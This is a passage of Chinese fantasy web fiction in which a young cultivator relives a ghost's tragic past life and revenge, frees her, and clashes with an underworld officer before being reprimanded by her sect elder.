“师兄他们怎么还没回来?”她嘟囔着站起来,走了两步又转回来,拿起丢在边上的帝血剑,顺便瞥了何碧薰一眼,见她瞪着一双红血丝的泪眼,欲语还休地看着她。 她一定很痛苦,石映心想,就像她先前照她的时候那般心疼。 不过她不会再照了,她又不傻。 “石仙人……” 石仙人提着剑转身要走,刚迈出一步,右手莫名发起抖来,奇了怪了,她低头望去,原来是帝血剑在抖。 这是怎么了? 石映心举起剑看了看,剑身上套着薄薄的血,是何碧薰的,其余没什么异样,那剑在抖什么呢?不像是害怕啊,更像是……着急?生气? 搞不清楚,这剑真古怪,之后问问二师兄好了。 她正要把剑放下,却见帝血剑顽固地绷在了空中,石映心皱眉盯它,却见血色朦胧下的剑面,似乎有什么一闪而过,她不由得跟随那模糊的变化微微眯起眼睛,深深望进去—— “小姐!” 她抬起头来,瞧见丫鬟面上带笑地快步走近了,弯下腰小声道:“小姐,贾秀才来了。” “他来得好时候,我这香囊也恰好做成了。” 话音刚落,贾庆升便跨了门槛进屋来,双手背在身后,脸上笑意盈盈。丫鬟识趣地跑出了门外。 何碧薰轻笑一声:“还藏什么?我都闻到烧饼的肉香了。” “薰娘的鼻子何时这么灵了?是不是我才到衙门口你就闻到了?” “胡说八道什么呢……”何碧薰迎上他,“你看,这是我新绣的香囊,花样你还喜欢?” “我哪里懂这些?你做的我都喜欢,舍不得戴。” “……真会说好听话,怪不得我爹这么喜欢你。” “哈哈哈……能得你们何家人的喜欢,是贾某的荣幸。” “……” 石映心不知道自己在哪里,过了这一剧情才缓过神来,原来她现在是何碧薰?可她方才分明没照她啊,就是照了,以往也只是“鬼上身”,不会像这样做梦一般的,为什么…… 不管如何,现下的欢喜是多么真实,她拉着贾庆升的手,她的心脏满满登登地充盈着什么,这份感情让石映心觉得陌生又熟悉。 总之不管这么多了,看着贾庆升含情脉脉地凑过来的脸,石映心一巴掌把他打飞—— 场景一转。 “咚。” “咚。” “爹!娘——” 夜色火光中,两个人头在她面前落下,石映心再次感到撕心裂肺的疼痛,仿佛自己的脖子也在摇摇欲坠,她沙哑着喊:“为什么!为什么?” 那个提着大刀的壮汉就要走过来,后边却又冒出一个瘦削的身影拦住了他,那人缓步走来,弯下腰来: “薰娘,伯父做错了事,死罪难免,与其之后压去牢里受尽折磨,还不如现在一刀两断……我……我只能保下你,以后你换个身份陪在我身边好吗?” 石映心透过泪光看见了他,灼灼火焰在他脸上蹿腾,照得他的表情仿若狰狞的鬼面,那双眼看起来很真挚、很复杂,但是何碧薰却看透了: “事到如今你还在装模作样什么?你跟他们是一伙的——不!你才是罪魁祸首!那晚的火是你放的,你借灭火之名偷了册子做了手脚,给我爹背上这莫须有的罪名!我想明白了!我全明白了!原来这一切……” 她说不下去了,垂下脑袋呜呜地哽咽起来,无尽懊恼自己后知后觉的大错,人声脚步声耳鸣声中,她听见那人说:“你何必要想得这么明白?不如就当什么都不知道,等我做了新知州、纳你为妾后,你的吃穿用度都一如既往,只要你愿意,你还能做一个无忧无虑的千金小姐……” 他无奈地叹了口气:“薰娘,我是真心待你的。” 何碧薰被他扶起来,只觉脑袋昏昏、疼得要命,但她十分知道自己要做什么,勉力站稳之后,忽地转身拔出她身后方才禁锢住她的那名官兵的佩剑,使劲朝面前之人刺去—— 只可惜她太慢了。 她太没用了。 何碧薰倒在地上,脖子上一片血热,身子却密密麻麻地开始发冷。有拿着火把的官兵凑过来看她,火光烧着了天上的圆月,吞噬了她的瞳孔,人世间的一切便模糊了。 飘飘渺渺。 晃晃悠悠。 无法可想。 总之,等她回过神来,就是听到有人和她说:“过了奈何桥,看见的那座土台便是望乡台,台边的老妪就是你们凡人口中的孟婆,喝了她的汤就可以去投胎了。” 说罢,有手推了她一下,何碧薰便顺力往前飘去。 在桥上飘的时候,她发现自己胸前挂着什么,垂头一看是一块木牌,拿起来一看,正面写着“路引”二字,背面则是“银州何碧薰”,边上有一串小字,写了她的生辰和死辰。 对,她是何碧薰。 她死了。 何碧薰猛然回过神来,眼前的一切终于看清了,原来她已进了地府!无心观赏幽都美景,她看着面前这座茫茫一片的木桥,前方有不好数的鬼影——这时候她想起自己死去的爹娘,慌张地在桥上跑起来。 “爹!”掰过一只鬼的肩膀,不是! “娘?”又找了一只,不是! “爹、娘!我是薰儿啊……爹、娘……”她一边哭一边找,“你们听到了吗?我是薰儿啊!” 从桥头找到桥尾,居然都没有找到,何碧薰瘫坐在地上,伤心地哭着:“你们走得这么快,为什么不等等我……爹,娘……你们是不是怪我?怪我错信了那个贱人……” 这时候有人要把她扶起来,何碧薰抬头一看,是个白发苍苍的和蔼老太,笑眯眯地对她说:“姑娘,你爹娘或许已经投胎转世去过好日子了,你该为他们高兴才是。来,起来吧,别哭了,人一死,前生如往事云烟,不必再记挂啦。” 何碧薰被她扶起来,还来不及道谢一声,这老奶奶便笑着朝她点点头,转身飘去前方的望乡台了,瞧着是赶着去投胎的。 她抹了把眼泪,左右望了望,大家都在飘去喝孟婆汤;她有些茫然,心中仿佛记挂着什么,但又想不起有多重要,只好惘惘地随鬼流而去。 排了没一会的队就轮到她了,孟婆把汤递给她,飞快地说:“喝吧喝吧,忘却前尘往事,今生了无牵挂!” 叫卖的语气听着像她家门口卖了三十年梅干菜肉包的大娘。 何碧薰拿着碗迟疑了一会,后边就有鬼在催促,她只好先腾开位置,走到边上的一颗大石头下坐着,望着汤镜中自己漠然的脸。 还等什么呢? 喝吧……喝吧…… “我不喝!” 噼里啪啦,边上传来摔碗的声音,何碧薰转头望去,瞧见一名男子跪地痛哭道:“我不喝!我不要死啊!我不要忘记我娘子!她还在老家苦苦等我……我不要死啊呜呜呜……” 后边有鬼骂他:“不喝就滚,后边还有人赶着投胎!” 男子抽抽鼻涕:“不、不喝就不喝?” “哎呦,你以为地府这么多孤魂野鬼哪来的?都是像你这般心有余念、不肯忘怀前身之人,”孟婆一手打汤,一手随意地挥着作打发样,“赶着投胎的人多了去了,哪里缺你一个?不喝就在地府散散心,想开了再过来吧!去去去,别挡人家的投胎路!” 男子茫然地爬开了。 何碧薰收回了视线,把碗放到了边上。 第45章 不知过了多久,面前经过了多少只鬼,直到孟婆汤收了摊,孟婆擦擦手要回家,路过她时瞧见了她身边那碗汤,多嘴说了一句:“姑娘,喝完汤记得把碗还回我摊上,天天有傻鬼摔碗,真以为碗不要钱那?一个个的,欠我的阴债跑不了!” 何碧薰:…… 她抬头问:“婆婆,你有看见我爹娘吗?” “哎呦,你爹娘这会估计在喊别人爹娘呢,忘了吧,忘了吧!” 何碧薰落下一滴泪:“我一家上百口人受奸人所害、死得不明不白,我爹娘的人头掉在我眼前,我越想越忘不掉……” “真惨、真惨。”孟婆说,“不过喝了我的孟婆汤就能全忘。” “我不敢忘……”何碧薰摇摇头说,“我想报仇,我要让那个奸人生不如死、以命偿命……” 孟婆听此,呵呵大笑起来:“前世因,今生果,谁也跑不了;你要想报仇,不如赶紧入轮回投胎,去讨要了这份因果!” 何碧薰茫然抬头:“可我喝了孟婆汤就什么都忘了,要怎么报仇?” “哈哈哈哈!” 孟婆听此抬手一挥,何碧薰感到有光亮从身后照来,转头一看,是她背后的大石头在发光,石头上的“三生石”三字渐渐消失,取而代之一些画面,何碧薰在画面里看到了贾庆升,他果真当上了知州,意气风发、好不威风。 “下一世你就做他的千金女儿,从小锦衣玉食、备受疼爱;长大后爱上一个觊觎你家世的男人,你将他引荐给你爹,也就是贾庆升,而他将因错信此人而死。你夫君虽害死你父亲,不过接手了你家之后,依旧让你和你娘活得滋润、家业蒸蒸日上;你们被他蒙在鼓里,幸福地过完了一生……” “怎么可能!”何碧薰惊慌叫道,“你胡说什么!?” 孟婆微微一笑:“不喜欢?你这千金小姐、富裕一生的命格,别人想求还求不来呢。” “我如何能认奸人做父!?” “那是下一世的事了,届时你什么都忘了。你只记得荣华富贵,只记得父爱如山,只记得你夫君救你一家的感恩戴德……” “我不要这样……”何碧薰摇着头后退,踉跄地倒在三生石上,面目恐惧,“我不要这样……” 孟婆呵呵呵呵地笑了几声,其实早就无趣于嘲笑这些愚笨的凡人了,便不再搭理她,赶着收摊回去歇息呢。 何碧薰感到深深的绝望,她趴在石头上大哭起来,泪水打湿三生石上那一块陈旧的深色。她拿起胸口的牌子看着,曾以为这是此生落幕后珍贵的纪念,原来、原来……不过是写好命格的话本人物罢了…… 难道投胎为人,就要按照这样的命运才能报仇吗! 可是…… 可是……为什么…… 石映心看着这块三生石,越看越有些生气,只是剑不在身边,于是她冷哼一声,抬脚踹去—— “打扰了,请问人间路往何处走?” 何碧薰半个身子泡在忘川河里,她面色青白……毕竟是鬼嘛,倒也正常,她唇色干裂,声线沙哑,可她不敢喝一口忘川水,这喝下去就是嗜骨的疼痛啊,看她化作白骨的双腿和双手便知道了。 “又来一只要走河的鬼。”破舟上的鬼笑道,“看来走河的传闻是无鬼不知了。” 据说从忘川河走到人间路的鬼,能够修成白日在人间行走的肉身,鬼术也在此艰难险阻中得到锻炼和增长,便不是一般的小鬼了,算是半个“鬼修”。可走河谈何容易,忘川河腐蚀鬼身,虫蛇满布,还有水鬼潜伏…… 走去人间,短则几十年,长则上百年,日日都是这般痛苦,鲜少有鬼坚持下来,因此许多鬼认为“走河”只是个传闻。 何碧薰艰难一笑,脸上有个奇怪的黑洞,不知道被什么咬的:“是,我想试试……” 舟上的鬼问:“你去人间做什么?” “我有深仇大恨要报……今生就要报。” “唉……”舟上的鬼却是一声叹息,摇摇头说,“世事漫随流水,算来一梦浮沉。不要沉溺于过往的仇恨了,算了吧姑娘。” 何碧薰提起一口气继续问:“大叔,人间路往哪走?” “我只在这一片游船,不知晓啊。”说罢往舟上一躺,将斗笠盖在脸上,不管不顾了。 何碧薰有些落寞,不过她也习惯了,几乎每一个她要问路的鬼都不会告知人间路往何方,而是要劝她放弃报仇……如此,她不知走了多少岔路,已经走了二十多……或许是三十多年了?不记得。 这次往哪走呢? 左拐吧。 在河中走着走着,河水腐蚀的麻木的疼痛已经不能让她呻吟一声。前方似乎有两只鬼在说话?过去看看……走近了一瞧,咦,似有些眼熟? 只听那个背对着她的男鬼对站在岸边的鬼大娘哭泣道:“大娘,我不能死啊!我不能忘记我娘子!她还在老家苦苦等我……” 鬼大娘为难道:“可是这都二十多年过去了,你娘子也许早就另嫁喽!再说人鬼殊途,你去了人间又能如何呢?” 男鬼哭哭啼啼道:“我知道、我明白……我只是想看着她,在暗处守护她一生平安……自古多情空余恨,此恨绵绵无绝期!看她余生幸福,我便满足了呜呜呜……大娘,求你给我指路吧!” 鬼大娘闻言,感动地抹了把泪:“唉,真是有情人难成眷属!好,我就破了这个例,为你指一条明路!” “多谢大娘,我瞧您便是心善之鬼!年轻时必定是风华美人!” “哎呀,那都几百年前的事了哈哈哈……” …… 何碧薰:OO 她转身往回淌。不知走了多久,终于又瞧见一只在岸边钓鱼的鬼,何碧薰迎上前问:“打 扰了,请问人间路往何处走?” 钓鱼鬼瞥她一眼:“瞧你这样,何必执着呢?投胎去吧!” 何碧薰脸上一抽,抿了抿唇,一开始还有些僵硬:“我……我想去找我的夫君……我、前世与他琴瑟和鸣,却因意外分别……我想见他最后一面。” “这都多久过去了?你夫君也许早就另娶她人。” “我知晓……可我并无他求,只是想看着他,在暗处守护他一家团圆平安……自、自古多情空余恨,此恨绵绵无绝期……只要他余生幸福,我便满足了……大哥,求你给我指路吧。” 说罢,深深低下头颅来。 几息的窒息沉默过后,就听那大哥长叹了口气:“唉……想当年,我与娘子也有这般恩爱的时候啊……好,我就帮你指条路!” 何碧薰诧异地抬起头来看他。 钓鱼鬼用鬼术给她指了路,却不见她走,再一看去,这女鬼居然哭了:“你、你哭什么?” “没什么……”何碧薰摇摇头擦去眼泪,扬起一个笑道,“多谢大哥。” “不谢不谢,你有这样的深情,真是世间难得!说来我生前也读过人鬼情未了的话本,那真是撕心裂肺的爱情啊!” 何碧薰朝他笑了笑,一步一步继续往前走,哗哗水声中,钓鱼鬼的声音越来越远: “……自古多情空余恨,此恨绵绵无绝期……哈哈哈,好诗、好诗!” 恨? 对,恨。 忘川河洗去她的一切,父母恩情、青春年华,情窦初开……所有都被洗去了,她忘记了那个人的容貌、姓名,声音……只有恨,空余恨…… * 石映心要把这破河劈开,疼死她了!好在下一刻她就从这幻境中出来,眼前哪里还是污浊波涛的忘川河,只是帝血剑罢了。 她发愣了一小会,转头看去,何碧薰双眼红彤彤地看着她。石映心问:“我走神了多久?” 何碧薰一脸问号:“你走神了?” 原来没多久,石映心想,于是她一声不吭地一挥剑—— 何碧薰下意识闭上眼睛,却觉身上一松,诧异睁眼一看,她身上的绳子被砍断了。这会她居然没反应过来,毕竟对她来说,石映心前一刻还义正辞严地拒绝放过她,不过是个转头的功夫,怎么就…… “……为什么?” 石映心其实根本没多想:“不为什么。” “那,”何碧薰又帮她考虑起来,“你怎么和你师兄交代?” 石映心:“他不过骂我几句,最多自己生闷气。” “……你们归壹派的戒律堂……” 石映心:“虽说不赶尽杀绝,但指不定打你板子、关你个上百年,这些痛苦其实比不上你在忘川河遭受的,不过……” 何碧薰一惊:“你说什么?” 那解释起来就很麻烦了呀:“废话少问,你走不走?我师兄他们要回来了。” “走!”她踉跄地要爬起来,忽然又跪好,深深地朝石映心跪拜下去,“多谢石仙人救命之恩!若有来世,必涌泉相报……” “……你到底走不走?” 当然是连滚带爬地跑了。 石映心瞥了眼手中还沾着鬼血的剑,压下心中的疑虑,打算先回旅舍。结果没走两步她大师兄就飞了过来,停在她面前,双眼左右一扫,问:“何碧薰在哪?” 怎么来得这么快,她借口都还没想好:“……嗯,嗯。” 明易:“嗯?” “我打不过她,给她跑了,嗯。” “说谎。”明易冷笑一声,“你放她走了?” 石映心:→→ 如今多余再问为什么,明易深呼吸一下,目光很快锁定到地上的血迹,正要追去,他师妹却跳过来拦住他:“算了吧师兄,我的任务已经完成了。” 明易正色道:“惩恶扬善、降妖除魔,是归壹派弟子的终身使命。你放走恶鬼的事之后再和你算账,让开。” 石映心:←← “石映心,让开。” “师兄,她有苦衷的。” 她哪里是会体谅别人苦衷的人,明易立刻明白:“你照她了?” 石映心:→→ “你!” 瞧她这副假惺惺的虚心模样,明易真是气不打一处来,有一大堆话要说,又知道现在不是好时机,生生压下去好大一口闷气来,咬牙道:“你让不让?” 不让不让不让不让不让。 第46章 师兄妹也会打架的,于是两人就打了起来。 不过没过两招,就见何碧薰就踉跄地从那头跑了过来,这会两边琵琶骨上又多了一大片的血迹,鬼脸近乎透明了,声音也嘶哑得很:“石仙人……” 师兄妹二人皆是一愣,打架暂停,连忙过去查看她情况:“何人伤了你?” 何碧薰苦着脸说不出太多话,残喘道:“求求你……救……救我……” 石映心正冒着问号,忽地起了鸡皮疙瘩,渐渐感到一阵可怖的威压。 这是她入银州以来第一次感到这么重的鬼气,她现在大概明白了,先前是因为受鬼月的影响,银州已是半个鬼城,那些寻常小鬼的鬼气被这特殊的磁场掩盖,故她们才没发现何碧薰的古怪,而且待得越久越不易察觉…… 而如今她却能感受到了,说明此鬼法力之高强。 她抬起眼,先看见大师兄微蹙的眉心,眼里有许多警惕;她顺着大师兄的视线望去,看见黑漆漆的林中浮出一个更黑漆漆的影子,瞧不清模样的时候,她的目光就落在那顶很突兀的长三角帽子上…… 好没品味的帽子,上头还写了四个字:天下太平。 慢慢显出模样,她又看见这人(?)左肩上挂着一条黑亮的长链,链头是个大弯尖勾爪,这会正被他拿在手中甩来转去。 何碧薰瞧见他,瑟瑟发起抖来。 石映心见她的反应,又看对面的“天下太平”像她入梦在地府里看见的那些鬼差打扮,便料到他是地府来捉何碧薰的,原来是只官鬼。 那官鬼见了她们,哼一声冷笑道:“明易?又见面了。” 大师兄认识啊:“师兄,他是谁?” 见到认识的人,明易似乎不很高兴,声线平板道:“黑无常,范无咎。” 石映心于是问第二个问题:“师兄打得过他吗?” 明易嘴角一扯:“没和他打过,估计要以死相拼。” 那有点惨了,大师兄。 二人一鬼面面相觑着,范无咎手中的甩链子的动作一停,挑眉道:“留下那只鬼,你们走吧。” 明易看着他:“捉拿何碧薰回戒律堂,这是归壹派的任务。” “你们归壹派的任务有我阴曹地府的铁令重要?” 石映心便说:“凡……鬼事总有个先来后到,是我先捉住她的。” “你这意思……”范无咎呵呵一声,把目光落到石映心身上,打量一下,没见过,“是要从地府官差手上抢鬼?” 石映心皱眉:“当鬼就能听不懂人话吗,我是先来的,这么算分明是你从我手上抢鬼。” 范无咎:…… “不是,你谁啊?” “石映心。” “……” 明易:…… 实在听不下去了,他是打算好好沟通的:“范无咎,等我带她回戒律堂判决之后,再由长老们决定是否给你们 地府处置。” “明易,”范无咎很是不解地问,“你跟我抢鬼做什么?你们归壹派如今也要考核业绩了吗?” 现在不是扯皮的时候,明易给石映心传密音让她带何碧薰走,石映心却问“师兄你要和他以死相拼吗”,明易无语“我与他又无深仇大恨,哪有这么夸张,你带她走便是了”。 石映心转身抱起何碧薰就飞,范无咎在后边大喊“站住”,然后很快就是铁链碰撞刀剑的声音,一人一鬼打了起来。 飞到空中,石映心问:“何碧薰,你要去哪?” 何碧薰在她怀里,苟延残喘道:“去阴阳路……鬼门关……投胎……” “好。” 飞了会:“阴阳路往哪走?” “……” 在坚强的何碧薰的指引下,石映心很快带她来到了阴阳路,从天上望下去,这里就是普通的民间集市,鬼头攒动,鬼火辉煌,好不热闹。有许多鬼在贩卖吃的喝的玩的,还有几处挂了布帘,上头写了:银州一日游,当夜往返。 好多鬼排队,生意很好啊。 石映心飞下去捉住一只吃糖葫芦的鬼问:“地府怎么去?” 那鬼吓了一跳:“啊!有人啊!!” 石映心把它的糖葫芦抢过来塞它嘴巴里:“地府怎么去?” 鬼可怜地往左边一指:“你走到尽头就是了……” 石映心抱着何碧薰飞到路的尽头荒野处,果真瞧见一扇高大的石门敞开着,门匾上写着“鬼门关”三字,里头黑压压一片瞧不分明,门两边守着两只鬼差。见石映心抱着鬼来了,立刻拦住她道:“凡人为何来此!?” “我不进去,”石映心低头示意道,“让这只鬼进去。” 左边的鬼差道:“要进鬼门关,需查验冥途路引。” 石映心:“什么路引?” 这时候何碧薰从怀里掏出一个木牌来,一面正写着“路引”二字。 两个鬼差一看,收起手中的大刀,站回边上说:“凭路引进出鬼门关。” 石映心便把何碧薰放下来,扶她站稳:“再会。” 何碧薰泪眼汪汪地看着她:“多谢你,石仙人。” 石仙人:“知道了,快走吧。” 何碧薰现在几乎是有气进没气出了,实在是快走不起来,快飘也不行,石映心看她慢吞吞的背影很有些着急,眼见要走进那片黑乎乎里面了,她忽然伸出手来猛地将她往前使劲一推—— 下一刻又召唤出帝血剑来,缠住了飞来勾魂的勾魂锁。侧头看去,范无咎正站在不远处,一脸黑气地瞪着她。 范无咎阴沉道:“你以为你做了好事?” “不知道。”石映心说,“不过我做好事做坏事都问心无愧。” “好一个问心无愧!”范无咎气笑了,“好,那就让我拿你去判官殿上是问!” 说着,他一扯勾魂锁要将她的剑扯过来,石映心顺从地将剑放开,飞近了才使诈控制起来,猝不及防地把“天下太平”的帽子砍歪了。 范无咎气死啦。 明易赶到的时候,一人一鬼正打得不可开交,远远的地方围着不少看热闹的小鬼,叽叽喳喳的很八卦;再看战况,石映心胳膊上受了伤,范无咎帽子没了一半,“太”字少了头,看起来只剩下“不平”二字。 明易:唉。 石映心已经落了下风,因为刚才剑被勾魂锁的一头缠住了,她没料到另一头也能用,被范无咎趁机勾了胳膊上半块肉去,这会还疼着呢;原本看守鬼门关的两只鬼差也见缝插针地帮上司对付她,确实有些局促起来。 最讨厌的是这勾魂锁怎么也砍不断,万分难缠!就在她一边打一边想着怎么办的时候,她大师兄来了。 石映心知道大师兄会帮她的,果不其然是这样,他先打退了那两只小鬼差,然后企图阻止她和范无咎的对峙:“好了,别打了。” 范无咎甩着黑链骂他:“好你个明易,亏你是归壹派赫赫有名的正派弟子,如今是非不分地帮亲不帮理!” 明易把他甩过来的链子劈到边上去:“我没有。” 范无咎:“那就让我捉了这个姓石的回去负罪!” 明易说这不合规矩,她又不是鬼,要负罪也是回他们归壹派负罪。 范无咎:“我现在就杀了她!” 明易说这不成体统,就是黑无常也不能乱杀人的。 范无咎其实也就是气话,但实在是气不过啊:“好,你滚开,让我和她打个痛快!” 明易说这不合礼数,你身为堂堂拘魂使,怎么能意气用…… “不你个头,滚啊!” 范无咎烦死他了,甩着链子冲上去;石映心在他们说话间已经喘了几口气休息了,提起剑感觉自己还能打;明易额间青筋狂跳,心想反正事已至此,打算趁机拎起师妹溜走……就在这时! 天上刮来一飓风,一下把二人一鬼吹飞了,连带着边上围观鬼众也摔倒一片,鬼哭狼嚎起来。 石映心倒在地上,受伤的胳膊雪上加霜地溢出血来,疼得她龇牙咧嘴。抬头一看,黑空中有一抹红飞了下来,仿佛点燃的烟花炮竹在她心中炸开,一下又消声了。她心虚地抿了下唇,慢吞吞地要爬起来,爬了一半大师兄过来扶住她。 师兄妹俩朝前边规规矩矩地问好:“妽荼仙尊……” 妽荼看这一片狼藉,大怒:“闹够了没有!?” 范无咎抖了一下,咬牙切齿地告了师兄妹二人的状:一个是掠走恶鬼,放鬼投胎;一个是包庇同门,是非不分。 妽荼听罢,先是骂范无咎:“废物!捉只鬼都捉不住?黑无常你当不了有的是鬼当!自去判官司领罚!” 范无咎还能怎么办,谢罪退下呗,临走前还恶狠狠地瞪了某二人好几眼。 “至于你们两个……”妽荼压着怒火,瞧那两个不省心的,有些咬牙切齿,“等回了戒律堂,新账旧账一起算!” “……弟子遵命。” 明易召出寒竹剑要带人走,妽荼忽然又道:“且慢。” 二人看去,就见她两指往边上一点,地上忽然冒出一个五花大绑的老头来,这会还在那里时不时蠕动一下呢。见他们两脸疑惑,明显不认识,妽荼道:“石映心,你可还记得在银州署遇见的那只火鬼?” 石映心瞥了一眼地上的老头,虽莫名,但还是点头道:“弟子记得。” 妽荼朝老头一抬下巴:“那只火鬼,便是受这老头所害,在生时用火活活烧死,死后用歪门邪道炼成受人摆布的火鬼,如此才成就了贾庆升的奸计,这便是整件事的关键一环。” 啊,是这样啊? 见石映心面色还有些茫然,妽荼轻轻摇了摇头,又把那只火鬼变了出来:“你仔细看看,认不认得这鬼?” 第47章 石映心仔细瞧去,先前从没认真打量,这会也不知是妽荼帮了忙还是怎么,反正她看出来了,这火鬼原来是贾庆升的小厮,难怪后来不见了…… “遇见火鬼之后,你们本该顺藤摸瓜地捉住这老头,揭穿他与贾庆升的诡计,然后依法治了他们的罪。可你们却听信何碧薰的谎话,受她蛊惑,助她报了前世之仇……” 石映心不得不插句嘴:“仙尊,可我的任务完成了。” “你还有脸说!”妽荼哼出一声气,“于情于理,你们都该捉住贾庆升,再劝何碧薰放下杀人之仇、一心向善,而不是闹成如今的局面!” 明易眉头一皱,飞快道:“映心首次下山做任务,不谙世事,是弟子监管师妹失责……” “可我这么做有什么错呢?”石映心仰着脑袋,不解地问,“贾庆升杀了何碧薰全家,何碧薰也杀了他,以命偿命,有什么错呢?” 妽荼:“你还不知错?” “映心……” “我没错,”石映心把因果牌拿出来,上头没了诗词,只留下一滴血,“因果牌也说我没错。” 妽荼指着边上的火鬼和老头问:“如果你没错,谁来揭穿他们的阴谋?谁来洗清火鬼的冤屈?你还要让这邪修在人间危害多少人?” 话是这么说没错,但 是石映心捏着因果牌的手发紧了:“既然如此,因果牌就该直接让我洗清火鬼的冤屈、捉住害人的老头,而不是……写一句破诗让我糊里糊涂!” 哇,这石映心:“你还生气了!?” 石映心泄气:“……弟子不敢。” “仙尊,”明易总算找到插话的机会,“此地阴气过重、不宜久留,一切是非等回了门派再论如何?” 难得遇到这种冥顽不灵的弟子,妽荼也被整得很心累,一挥手道:“速回门派!” “多谢仙尊。” 师兄妹俩赶紧溜了。 石映心坐在寒竹剑上,蔫巴巴地看着人间的夜景。其实她也说不上来为什么不高兴,难道是明明完成了任务还要被骂一通,所以心有不甘?似乎又不完全是这样的原因…… “石映心。” 她抬头望去,大师兄扔来一个小药罐,没回头看她:“处理好伤口。” “……哦。” 她把衣袖上的破洞扒拉开,又觉得在这样的小洞里上药很麻烦,干脆把整只袖子撕掉了。明易听到声音往后看,见她打开药罐就往上倒,两眼一闭叹了口气,速速落了地。 石映心还奇怪:“到了吗?” 二人落在一条小河边,明易拿过她手上的药罐:“勾魂锁的伤口,要先用净阴术祛除了阴气,再割去腐肉上药……丹药课上没教过?” 好像是有这么回事,石映心说:“没想到我会受这样的伤。”所以就没认真听。 明易见她伤口有些严重,不由得皱起眉头,用净阴术祛除上头的阴气的时候又继续说话转移她注意力:“不认真听课就会书到用时方恨少。” “没事,”石映心心大道,“反正大师兄你记得。” “我又不是日日在你身边。” “那换月记得。” “她下回不一定能陪你下山。” “……二师兄也许会记得。” 明易抬眼:“你不能自己记得?” 石映心连连点头:“好,好。” 明易:……肯定是在敷衍。 祛除好了阴气,就是要刮腐肉了,好在她受伤的时间不久,腐肉只有薄薄一层,明易拿出一把食指大的小刀细致地刮起来,自己额上冒了汗珠,抬眼看某人老神在在的:“……疼吗?” “疼。” 这字就跟大馒头似的塞到明易嘴巴里,干巴巴的又噎挺,他就不知道要说什么了。 石映心看看伤口,又看看大师兄,想到什么,抿了下唇道:“师兄……” “……嗯?” “你没受伤吧?” 她还知道关心他……明易眸光微晃:“没有。其实范无咎本不能下重手伤人,你让他失态了。” “那就好。”石映心含糊地应了一声,“所以我想了想,如果你让我照着你,我也许就和你一样不疼了。” “……” 明易收起小刀,将药膏往她伤口上铺了一层。石映心:“咦,麻麻的。” “是不是很可惜?”明易皮笑肉不笑地盯着她,“有这样的好办法,下次早点说。” 石映心确实可惜:“唉,其实我也才想到,也不知道行不行。” 明易不得不怀疑她此外的坏心,不过这会没工夫和她拉扯,得赶紧回去了。 二人飞回了旅舍,进了屋,先看到空空荡荡的大堂,小二和客人估计都逃命去了,只留下贾庆升孤零零的一死人躺在桌上……等等,好像有哪里不一样了? 石映心走近一看,只见贾庆升的尸体上多了好多血洞,七窍流出血来。这是怎么了? “师姐!师兄,”听到动静的曾换月从二楼的屋里跑出来,不要太激动了,“你们可算回来了!我好担心啊呜呜呜!” 她飞跑下来,拉着师姐打量起来,于是就看见她的伤口,大叫道:“师姐你怎么受伤了!是谁伤的你?” 石映心说范无咎,曾换月问范无咎是谁,又说是黑无常。 “黑无常?”曾换月捂嘴瞪眼,“啊,听着很厉害啊。我可怜的师姐……” “我没事。”石映心指着贾庆升问,“他的尸体怎么回事?” “哦,这个啊……”曾换月伸出手指朝楼上指了指,压低声音道,“刚刚我们把邓晴接过来,她一看到贾庆升就跟疯了一样,一边哭着骂‘你凭什么这么轻易地死了’,一边很生气地把头上的簪子拿下来戳他……把我和二师兄看傻了,后来她戳昏了过去,我们就把她运到楼上去了。” 石映心和大师兄对视一眼,后者道:“看来她已经想明白了事情真相。” 曾换月双眼澄澈:“啊?什么真相?邓家被抄家的真相吗?你们是怎么知道的?我怎么不知道啊?还有,何碧薰到底在这件事里到底是什么身份啊?她现在人呢?” 这一连串好多问题,给两人问得有些晕。明易目前掌握的是这一世的真相,石映心则是知道两世的因果,不过实在是说来话长、长话不好短说啊。反正她嘴皮子还没动已经觉得累了。 “唉……回门派我再慢慢说吧。” “也好,”曾换月点点头,“不过……邓晴怎么办呢?” 明易道:“陷害邓家的贾庆升已经死了,他的同谋也被妽荼仙尊抓了起来,我想仙尊已经有了安排,应能还她们邓家一个清白。不过……人死不能复生,银州署一夜冷清,到时问问邓晴有无靠谱的亲戚吧。” 也只能这么办了。 隔天一早,几人把失魂落魄的邓晴送去她姨妈家,路上曾换月和顾梦真都还好心宽慰她,说什么真相一定会大白云云,邓晴勉强撑着一些精神回复二人的安慰,每说一句话,仿佛就吐了一些精气出来,瞧着更憔悴了。 到后边二人都闭上嘴,不敢再安慰。 石映心想,邓晴现在是如何心情呢?和何碧薰一样?似乎也不完全一样,她一夜之间死了爹娘,心中大概恨死了害她们的贾庆升,但转眼间贾庆升也死了,估计何碧薰直接杀他个魂飞魄散……那恨也没了,她还剩下什么心情呢? 石映心虽好奇,却不想照她,光是瞧她那魂不守舍、六神无主的模样,就已经叫人阴沉下来,看看,她二师兄和换月都变成两条苦瓜了。 如果师父师兄师妹都被杀了,她又杀了杀他们的人……那她之后还要干什么呢?留在归壹派?自己一个人有什么意思?游历人间?没有人陪她,一点也不好玩…… 唉,石映心这么想来,觉得邓晴也是很可怜的,或许比何碧薰还要可怜些,她连恨都没有剩下。 把人送到了,几人和邓晴告别。 曾换月拍拍她肩膀:“邓姑娘,没事的,只要人活着就会有希望。” 顾梦真点头:“是啊是啊,日子都是越过越好的,你还年轻呢。” 明易说:“你家的案子已经开始重新调查了,一定会水落石出。” 石映心:“……嗯。” “多谢几位仙人。”邓晴虚弱一笑,“没有你们我早就死了。贾庆升可能还在逍遥法外,我家的案子也……嗐,事到如今,我也不知所云了。总之,你们的大恩大德……” “唉不用不用不用。”曾换月紧忙打住她,“都是我们应该做的,哈哈……你好好过日子吧,邓姑娘。” 邓晴轻轻地颔首道:“好。” 石映心瞅了瞅她红彤彤的眼睛。 那就此分别吧。 * 回家的路上,石映心坐大鹏展翅上给师兄师妹说了前世因后世果。听得几人都挺唏嘘的。 曾换月骂道:“这贾庆升罪孽深重、死了活该,就该魂飞魄散!” “唉,”顾梦真摇头叹气,“何姑娘和邓姑娘都太可怜了。希望何姑娘这会已经重新投胎做人,邓姑娘也想开点……” “我们不 能小瞧她。“曾换月斩钉截铁地一拍大腿,“她一定会重新振作起来的!” 石映心觉得也是:“嗯!” “确实,何姑娘有此等复仇的毅力,相信邓姑娘也会有。”瞧见两个师妹这么乐观,顾梦真也稍微放松了一点,这一放松就想起新的难题了,“唉……别说这个了,想想等会回了门派,要怎么跪地求饶吧!” 